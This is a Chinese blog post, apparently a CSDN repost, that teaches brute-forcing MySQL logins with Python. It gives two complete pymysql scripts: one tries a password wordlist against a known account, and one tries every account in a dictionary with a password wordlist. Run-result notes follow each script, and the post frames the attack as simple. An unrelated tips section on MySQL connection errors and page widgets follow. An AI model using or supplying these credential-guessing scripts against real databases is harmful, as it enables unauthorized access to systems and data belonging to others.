几行Python代码破解mysql数据库

今天来给大家简单讲解一下怎么实现python暴力破解mysql数据。

知道账号的情况下破解密码

大家知道mysql需要账号和密码才能登陆,我们今天做一个在知道账号的情况下对密码进行破解。(后面继续跟进账号密码都不知道的情况)

既然是暴力破解,避免离开不了密码字典,对于密码字典,我们采用从文本文档进行读取。

利用密码字典我们可以不停的刷密码,从而破解成功进行登录。

下面先贴上代码:

# coding:utf-8
import pymysql#导入连接数据库的模块
class PoJie:
    def __init__(self,path):
        self.file =open(path,"r",errors="ignore")#打开密码字典文件
        
    def LianJieMySql(self,word):#连接数据库的方法
        try:
            db =pymysql.connect("localhost","root",word) #连接数据库
            #pymysql.connect()方法的第一个参数是ip地址,本机可以用localhost代替
            #第二个参数是账户名,本文章为知道用户名情况破解密码
            #第三个是密码,
            db.close()#关闭数据库
            return True#连接成功返回True
        except:
            return False
            
    def PoJieChangShi(self):#读取密码字典的方法
        while True:#循环读取
            mystr=self.file.readline()#读取密码字典的一行
            if not mystr:#如果读到文件最后没有数据了,就跳出循环
                break
            if self.LianJieMySql(mystr):#把读到的一行密码传到连接数据库方法里面
                #如果返回了True说明破解成功
                print("密码正确----",mystr)#打印正确密码
                break#结束循环
            else :
                print("密码错误",mystr)
                              
    def __del__(self):#无论如何最终要执行的方法
        self.file.close()#关闭密码字典文件
        pass
    
path=r"C:\Users\Administrator\Desktop\wordlist.txt"#传入密码字典绝对文件路径
start =PoJie(path)#实例化对象
start.PoJieChangShi()#对象执行方法

下面为运行结果:

52c6aaebe7d7818328f0609af8daa67c.jpeg

是不是很简单啊!

我简单说一下实现过程:

  1. 首先,一定要导入连接数据库的模块也就是(import pymysql)

  2. 写了一个连接数据库的方法,写了一个从文本文档逐行读取密码的方法。

  3. 对于读取的每一行密码,我们都把它传入连接数据库的方法中,进行连接测试。

  4. 如果连接成功则返回True。

  5. 这里使用了try语句,因为当连接失败,也就是密码不正确的时候,系统会报错,所以我们使用try捕获异常,抛出错误,避免系统出现异常错误终止我们的程序。

密码字典哪里来,大家可以自己使用python生成器进行生成。

不知道账号的情况下破解密码

下面贴上代码:

# coding:utf-8
import pymysql#导入连接数据库的模块
class PoJieTwo:
    def __init__(self,accountPath,wordPath):
        self.accountFile =open(accountPath,"r",errors="ignore")#打开账户字典
        self.wordFile =open(wordPath,"r",errors="ignore")#打开密码字典   
        
    def LianJieMySql(self,account,word):#连接数据库的方法
        try:
            db =pymysql.connect("localhost",account,word) #连接数据库
            #pymysql.connect()方法的第一个参数是ip地址,本机可以用localhost代替
            #第二个参数是账户名,
            #第三个是密码,
            db.close()#关闭数据库
            return True#连接成功返回True
        except:
            return False
            
    def PoJieChangShi(self):#读取字典文件的方法
        while True:#循环读取账户字典
            myAccount=self.accountFile.readline()#读取一行
            if not myAccount:#如果读到账户文件最后没有数据了,就跳出循环
                break
            
            while True:#循环读取密码字典
                myWord=self.wordFile.readline()#读取密码字典的一行
                if not myWord:#如果读到密码文件最后没有数据了,就跳出循环
                    break
                if self.LianJieMySql(myAccount,myWord):#把读到账户和密码传到连接数据库方法里面
                    #如果返回了True说明破解成功
                    print("账户:",myAccount,"密码正确----",myWord)#打印正确密码
                    break#结束循环
                else :
                    print("账户:",myAccount,"密码错误",myWord)
                              
    def __del__(self):#无论如何最终要执行的方法
        self.accountFile.close()#关闭账户字典
        self.wordFile.close()#关闭密码字典文件
        pass


accountPath=r"C:\Users\Administrator\Desktop\账号.txt"#传入账户字典绝对文件路径   
wordPath=r"C:\Users\Administrator\Desktop\wordlist.txt"#传入密码字典绝对文件路径
start =PoJieTwo(accountPath,wordPath)#实例化对象
start.PoJieChangShi()#对象执行方法

下面是运行结果:

41a9dc89703d90ac8199f3aff26c31ce.jpeg

代码只是稍作修改。下面讲一下思路:

  1. 在之前单纯破解密码的基础上,我们加上了账户破解,

  2. 所以我们需要两个字典文件,一个是账号字典,一个是密码字典,

  3. 我们在读取字典文件的的方法中,首先读一行账号,然后把密码刷一遍,在每次读账号后,都需要刷一遍密码;

来源:https://blog.youkuaiyun.com/m0_38124502/article/details/77982883

推荐阅读

### Python 连接 MySQL 数据库常见错误及其解决方案 #### 错误 1: `ImportError: No module named 'pymysql'` 当尝试导入 pymysql 模块而未安装时会触发此异常。为了修复这个问题,可以使用 pip 安装 pymysql: ```bash pip install pymysql ``` 如果是在虚拟环境中工作,则需激活环境后再运行上述命令。 #### 错误 2: `'cryptography' package is required for sha256_password or caching_sha2_password auth methods` [^2] 对于采用 SHA-256 或缓存 SHA-2 密码验证方式的情况,必须先安装 cryptography 包来满足依赖关系: ```bash pip install cryptography ``` 接着确认已正确设置了数据库用户的认证插件;如果不是必要的话,考虑切换回更传统的密码校验机制如 mysql_native_password。 #### 错误 3: Emoji 表情无法存储到 MySQL 中 [^3] 要使应用程序能够处理并持久化包含 emoji 字符的数据至 MySQL,应当调整服务器端编码设置为 UTF8MB4 并相应更新表结构定义中的字段类型属性。具体操作如下所示,在建立新连接之前发送一条更改字符集的指令给服务端: ```sql SET NAMES utf8mb4; ``` 另外还需编辑 my.cnf 文件内的 `[mysqld]` 部分加入下面几行配置项以确保整个实例都遵循相同的字符编码标准: ```ini character-set-server=utf8mb4 collation-server=utf8mb4_unicode_ci ``` 重启 MySQL 后生效变更。 #### 错误 4: 加密连接失败 [^4] 某些情况下可能因为 SSL/TLS 设置不当而导致握手过程出现问题。此时应检查客户端与服务器之间的安全协议版本兼容性以及证书链的有效性。此外还可以通过指定参数 disable_ssl=True 来禁用加密传输作为临时措施(仅限于测试环境下),但这不是推荐的做法。 综上所述,针对不同类型的连接问题采取相应的对策即可有效解决问题。值得注意的是保持驱动程序和相关软件包处于最新状态有助于减少潜在冲突的发生几率。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值